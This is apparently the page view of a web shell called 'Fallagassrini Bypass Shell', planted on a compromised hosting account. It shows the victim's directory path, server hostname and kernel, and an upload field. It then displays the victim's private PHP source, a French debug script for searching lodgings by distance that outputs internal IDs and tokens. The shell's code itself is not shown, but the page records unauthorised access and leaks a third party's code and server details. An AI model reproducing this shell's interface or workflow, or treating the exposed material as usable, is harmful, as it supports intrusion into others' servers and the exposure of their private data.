Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/happyrenas/find.myreco.online/OLD/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/happyrenas/find.myreco.online/OLD/test_fonction.php

<?php
session_start();

include("configuration.php");
include("includes/fonctions.php");


$ville_pays = trim($_GET['ville_pays'] ?? 'Revel, FR');
$rayon_km   = (int)($_GET['rayon_km'] ?? 35);

if ($rayon_km <= 0) {
	$rayon_km = 35;
}

function hhh($value)
{
	return htmlspecialchars((string)$value, ENT_QUOTES, 'UTF-8');
}

/************************************************
 * DEBUG RECHERCHE HÉBERGEMENTS PROCHES
 * Même logique que la prod, mais avec détails
 ************************************************/
function rechercherHebergementsProchesDebug($ville_input, $db, $rayon_km)
{
	global $types_hebergement;

	$debug = [
		'erreur'            => '',
		'ville'             => '',
		'pays'              => '',
		'rayon_km'          => (int)$rayon_km,
		'point_reference'   => null,
		'delta_lat'         => null,
		'delta_lon'         => null,
		'rectangle_sql'     => [],
		'nb_ville'          => 0,
		'nb_rectangle'      => 0,
		'nb_total_avant'    => 0,
		'nb_total_apres'    => 0,
		'lignes_debug'      => [],
		'resultats_finaux'  => [],
	];

	if (empty($ville_input)) {
		$debug['erreur'] = "❌ Veuillez sélectionner une ville.";
		return $debug;
	}

	$parts = explode(',', $ville_input);
	$ville = trim($parts[0] ?? '');
	$pays  = strtoupper(trim($parts[1] ?? ''));

	$debug['ville'] = $ville;
	$debug['pays']  = $pays;

	if ($ville === '' || $pays === '') {
		$debug['erreur'] = "❌ Format ville invalide. Utilisez : Ville, FR";
		return $debug;
	}

	// Point de référence
	$ville_ref = $db->get_row("
		SELECT id, name, city, country_code, latitude, longitude
		FROM heb
		WHERE city = '" . $db->escape($ville) . "'
		  AND country_code = '" . $db->escape($pays) . "'
		  AND name != 'lite'
		  AND latitude IS NOT NULL
		  AND longitude IS NOT NULL
		  AND latitude <> ''
		  AND longitude <> ''
		LIMIT 1
	");

	if (!$ville_ref) {
		$debug['erreur'] = "❌ Ville non trouvée ou sans coordonnées.";
		return $debug;
	}

	$lat_ref = (float)str_replace(',', '.', $ville_ref->latitude);
	$lon_ref = (float)str_replace(',', '.', $ville_ref->longitude);

	$debug['point_reference'] = [
		'id'         => $ville_ref->id ?? '',
		'name'       => $ville_ref->name ?? '',
		'city'       => $ville_ref->city ?? '',
		'country'    => $ville_ref->country_code ?? '',
		'latitude'   => $lat_ref,
		'longitude'  => $lon_ref,
		'lat_brut'   => $ville_ref->latitude ?? '',
		'lon_brut'   => $ville_ref->longitude ?? '',
	];

	$delta_lat = $rayon_km / 111;
	$cos_lat   = cos(deg2rad($lat_ref));
	if (abs($cos_lat) < 0.00001) {
		$cos_lat = 0.00001;
	}
	$delta_lon = $rayon_km / (111 * $cos_lat);

	$debug['delta_lat'] = $delta_lat;
	$debug['delta_lon'] = $delta_lon;

	$lat_min = $lat_ref - $delta_lat;
	$lat_max = $lat_ref + $delta_lat;
	$lon_min = $lon_ref - $delta_lon;
	$lon_max = $lon_ref + $delta_lon;

	$debug['rectangle_sql'] = [
		'lat_min' => $lat_min,
		'lat_max' => $lat_max,
		'lon_min' => $lon_min,
		'lon_max' => $lon_max,
	];

	// Étape 1 : hébergements dans la ville
	$hebs_ville = $db->get_results("
		SELECT *
		FROM heb
		WHERE city = '" . $db->escape($ville) . "'
		  AND country_code = '" . $db->escape($pays) . "'
		  AND name != 'lite'
		  AND latitude IS NOT NULL
		  AND longitude IS NOT NULL
		  AND latitude <> ''
		  AND longitude <> ''
	");

	$hebergements = [];
	$ids_deja = [];

	if ($hebs_ville) {
		foreach ($hebs_ville as $h) {
			$h->origine = 'ville';
			$hebergements[] = $h;
			$ids_deja[] = (int)$h->id;
		}
	}

	$debug['nb_ville'] = count($hebs_ville ?: []);

	// Étape 2 : rectangle
	$hebs_rect = [];

$exclusion = '';
if (!empty($ids_deja)) {
    $exclusion = "AND id NOT IN (" . implode(',', array_map('intval', $ids_deja)) . ")";
}

$hebs_rect = $db->get_results("
    SELECT *
    FROM heb
    WHERE CAST(REPLACE(latitude, ',', '.') AS DECIMAL(10,6)) BETWEEN {$lat_min} AND {$lat_max}
      AND CAST(REPLACE(longitude, ',', '.') AS DECIMAL(10,6)) BETWEEN {$lon_min} AND {$lon_max}
      AND country_code = '" . $db->escape($pays) . "'
      AND name != 'lite'
      AND latitude IS NOT NULL
      AND longitude IS NOT NULL
      AND latitude <> ''
      AND longitude <> ''
      {$exclusion}
");

if ($hebs_rect) {
    foreach ($hebs_rect as $h) {
        $h->origine = 'rectangle';
        $hebergements[] = $h;
    }
}

	$debug['nb_rectangle']   = count($hebs_rect ?: []);
	$debug['nb_total_avant'] = count($hebergements);

	$resultats = [];
	$lignes_debug = [];

	foreach ($hebergements as $heb) {
		$lat = (float)str_replace(',', '.', $heb->latitude);
		$lon = (float)str_replace(',', '.', $heb->longitude);

		$distance = round(calculerlaDistance($lat_ref, $lon_ref, $lat, $lon), 1);
		$dans_rayon = ($distance <= $rayon_km);

		$type_hebergement = '';
		if (!empty($heb->type_hebergement) && isset($types_hebergement[$heb->type_hebergement])) {
			$type_hebergement = $types_hebergement[$heb->type_hebergement];
		}

		$lignes_debug[] = [
			'id'               => (int)$heb->id,
			'name'             => $heb->name ?? '',
			'city'             => $heb->city ?? '',
			'postal_code'      => $heb->postal_code ?? '',
			'latitude_brut'    => $heb->latitude ?? '',
			'longitude_brut'   => $heb->longitude ?? '',
			'latitude'         => $lat,
			'longitude'        => $lon,
			'distance'         => $distance,
			'dans_rayon'       => $dans_rayon ? 'OUI' : 'NON',
			'origine'          => $heb->origine ?? 'inconnue',
			'token'            => $heb->token ?? '',
			'type_hebergement' => $type_hebergement,
		];

		if (!$dans_rayon) {
			continue;
		}

		$resultats[] = [
			'id'               => (int)$heb->id,
			'token'            => htmlspecialchars($heb->token ?? ''),
			'name'             => htmlspecialchars($heb->name ?? ''),
			'postal_code'      => htmlspecialchars($heb->postal_code ?? ''),
			'ville'            => htmlspecialchars($heb->city ?? ''),
			'country_code'     => strtoupper($heb->country_code ?? ''),
			'distance'         => $distance,
			'reviews'          => $heb->reviews ?? '',
			'rating'           => $heb->rating ?? '',
			'photo'            => $heb->photo ?? '',
			'photo_locale'     => $heb->photo_locale ?? '',
			'parking'          => !empty($heb->parking) ? ucfirst(str_replace('_', ' ', $heb->parking)) : '',
			'type_hebergement' => $type_hebergement,
			'donnees'          => json_decode($heb->donnees_specifiques ?? '[]', true),
			'equipements'      => json_decode($heb->equipements_json ?? '[]', true),
			'activites'        => json_decode($heb->activites_json ?? '[]', true),
			'tarif_nuit'       => $heb->tarif_nuit ?? '',
			'category'         => $heb->category ?? '',
			'latitude'         => $lat,
			'longitude'        => $lon,
			'origine'          => $heb->origine ?? 'inconnue'
		];
	}

	usort($lignes_debug, function ($a, $b) {
		return $a['distance'] <=> $b['distance'];
	});

	usort($resultats, function ($a, $b) {
		return $a['distance'] <=> $b['distance'];
	});

	$resultats = array_slice($resultats, 0, 20);

	$debug['lignes_debug']     = $lignes_debug;
	$debug['resultats_finaux'] = $resultats;
	$debug['nb_total_apres']   = count($resultats);

	return $debug;
}

$debug = rechercherHebergementsProchesDebug($ville_pays, $db, $rayon_km);
?>
<!DOCTYPE html>
<html lang="fr">
<head>
	<meta charset="UTF-8">
	<title>Debug fonction hébergements</title>
	<style>
		body {
			font-family: Arial, sans-serif;
			font-size: 14px;
			margin: 20px;
			color: #222;
		}
		h1, h2 {
			margin-bottom: 10px;
		}
		form {
			margin-bottom: 20px;
			padding: 15px;
			background: #f7f7f7;
			border: 1px solid #ddd;
		}
		input[type="text"],
		input[type="number"] {
			padding: 8px;
			width: 240px;
			margin-right: 10px;
		}
		button {
			padding: 8px 14px;
			cursor: pointer;
		}
		.box {
			border: 1px solid #ddd;
			background: #fafafa;
			padding: 15px;
			margin-bottom: 20px;
		}
		.ok {
			color: #0a7a2f;
			font-weight: bold;
		}
		.ko {
			color: #c62828;
			font-weight: bold;
		}
		table {
			width: 100%;
			border-collapse: collapse;
			margin-top: 12px;
		}
		th, td {
			border: 1px solid #ccc;
			padding: 8px;
			vertical-align: top;
			text-align: left;
		}
		th {
			background: #efefef;
		}
		tr.in-range {
			background: #eefbea;
		}
		tr.out-range {
			background: #fff1f1;
		}
		.small {
			color: #666;
			font-size: 12px;
		}
		code {
			background: #f1f1f1;
			padding: 2px 5px;
		}
	</style>
</head>
<body>

	<h1>Debug recherche hébergements via fonction</h1>

	<form method="get">
		<label>
			Ville, pays :
			<input type="text" name="ville_pays" value="<?= h($ville_pays) ?>" placeholder="Revel, FR">
		</label>

		<label>
			Rayon km :
			<input type="number" name="rayon_km" value="<?= h($rayon_km) ?>" min="1" step="1">
		</label>

		<button type="submit">Tester</button>
	</form>

	<?php if ($debug['erreur'] !== '') : ?>
		<div class="box ko"><?= h($debug['erreur']) ?></div>
	<?php else : ?>

		<div class="box">
			<h2>Point de référence</h2>
			<p><strong>ID :</strong> <?= h($debug['point_reference']['id']) ?></p>
			<p><strong>Nom :</strong> <?= h($debug['point_reference']['name']) ?></p>
			<p><strong>Ville :</strong> <?= h($debug['point_reference']['city']) ?>, <?= h($debug['point_reference']['country']) ?></p>
			<p><strong>Latitude :</strong> <?= h($debug['point_reference']['latitude']) ?> <span class="small">(brut : <?= h($debug['point_reference']['lat_brut']) ?>)</span></p>
			<p><strong>Longitude :</strong> <?= h($debug['point_reference']['longitude']) ?> <span class="small">(brut : <?= h($debug['point_reference']['lon_brut']) ?>)</span></p>

			<hr>

			<p><strong>Rayon demandé :</strong> <?= h($debug['rayon_km']) ?> km</p>
			<p><strong>Delta latitude :</strong> <?= h(round($debug['delta_lat'], 6)) ?></p>
			<p><strong>Delta longitude :</strong> <?= h(round($debug['delta_lon'], 6)) ?></p>

			<p class="small">
				Rectangle utilisé :
				<br>
				lat entre <code><?= h(round($debug['rectangle_sql']['lat_min'], 6)) ?></code> et <code><?= h(round($debug['rectangle_sql']['lat_max'], 6)) ?></code>
				<br>
				lon entre <code><?= h(round($debug['rectangle_sql']['lon_min'], 6)) ?></code> et <code><?= h(round($debug['rectangle_sql']['lon_max'], 6)) ?></code>
			</p>
		</div>

		<div class="box">
			<h2>Comptage</h2>
			<p><strong>Nb dans la ville :</strong> <?= h($debug['nb_ville']) ?></p>
			<p><strong>Nb ajoutés via rectangle :</strong> <?= h($debug['nb_rectangle']) ?></p>
			<p><strong>Total trouvé avant filtre final :</strong> <?= h($debug['nb_total_avant']) ?></p>
			<p><strong>Total retenu après distance :</strong> <?= h($debug['nb_total_apres']) ?></p>
		</div>

		<div class="box">
			<h2>Détail complet</h2>
			<table>
				<thead>
					<tr>
						<th>ID</th>
						<th>Nom</th>
						<th>Ville</th>
						<th>Origine</th>
						<th>Lat brut</th>
						<th>Lon brut</th>
						<th>Lat</th>
						<th>Lon</th>
						<th>Distance</th>
						<th>Dans rayon</th>
						<th>Token</th>
					</tr>
				</thead>
				<tbody>
					<?php foreach ($debug['lignes_debug'] as $row) : ?>
						<tr class="<?= ($row['dans_rayon'] === 'OUI') ? 'in-range' : 'out-range' ?>">
							<td><?= h($row['id']) ?></td>
							<td><?= h($row['name']) ?></td>
							<td><?= h($row['city']) ?> <?= h($row['postal_code']) ?></td>
							<td><?= h($row['origine']) ?></td>
							<td><?= h($row['latitude_brut']) ?></td>
							<td><?= h($row['longitude_brut']) ?></td>
							<td><?= h($row['latitude']) ?></td>
							<td><?= h($row['longitude']) ?></td>
							<td><?= h($row['distance']) ?></td>
							<td class="<?= ($row['dans_rayon'] === 'OUI') ? 'ok' : 'ko' ?>">
								<?= h($row['dans_rayon']) ?>
							</td>
							<td><?= h($row['token']) ?></td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		</div>

		<div class="box">
			<h2>Résultats finaux renvoyés</h2>
			<table>
				<thead>
					<tr>
						<th>#</th>
						<th>ID</th>
						<th>Nom</th>
						<th>Ville</th>
						<th>Distance</th>
						<th>Origine</th>
						<th>Type</th>
					</tr>
				</thead>
				<tbody>
					<?php if (!empty($debug['resultats_finaux'])) : ?>
						<?php foreach ($debug['resultats_finaux'] as $i => $row) : ?>
							<tr>
								<td><?= h($i + 1) ?></td>
								<td><?= h($row['id']) ?></td>
								<td><?= h($row['name']) ?></td>
								<td><?= h($row['ville']) ?></td>
								<td><?= h($row['distance']) ?></td>
								<td><?= h($row['origine']) ?></td>
								<td><?= h($row['type_hebergement']) ?></td>
							</tr>
						<?php endforeach; ?>
					<?php else : ?>
						<tr>
							<td colspan="7">Aucun résultat final</td>
						</tr>
					<?php endif; ?>
				</tbody>
			</table>
		</div>

	<?php endif; ?>

</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net